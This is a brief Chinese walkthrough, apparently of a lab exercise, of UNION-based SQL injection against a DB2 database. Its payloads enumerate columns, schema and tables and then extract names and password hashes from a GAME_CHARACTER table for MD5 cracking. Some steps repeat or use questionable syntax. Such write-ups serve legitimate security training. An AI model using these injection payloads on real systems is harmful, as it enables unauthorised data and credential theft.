漏洞复现
用order by测试,发现可以,并测试到字段为4
用union select 1,2,3,4 发现失败
union select 1,2,3,4 from sysibm.systables就可以回显了
应该是不同的数据库语法问题
测试回显
-1 union select 1,2,3,4 from sysibm.systables
爆库
-1 union select 1,2,current schema,4 from sysibm.sysdummy1
这里解释下 sysdummy1,因为他的命名有点奇怪不像系统命名表,所以我去百度了一下
SYSIBM.SYSDUMMY1表是一个内存的特殊表(按照Oracle的术语,习惯称之为“伪表”),常用于访问DB2中的寄存器,从而返回特定需要内容,类同于临时表
可以用来返回当前实时信息:
例如:
‘SELECT CURRENT DATE FROM SYSIBM.SYSDUMMY1’ 命令返回当前系统日期
‘SELECT 1+1 FROM SYSIBM.SYSDUMMY1’ 执行数学运算
‘SELECT NEXTVAL FOR MYSEQ FROM SYSIBM.SYSDUMMY1’ 得到序列值
爆表
-1 union select 1,2,tabname,4 from syscat.tables where tabschema='DB2INST1' limit 0,1
爆字段,修改limit,爆出下列3个字段
union select 1,2,tabname,4 from syscat.tables where tabschema='DB2INST1' limit 0,1
爆字段值
union select 1,name,password,4 from GAME_CHARACTER limit 0,1
md5解密即可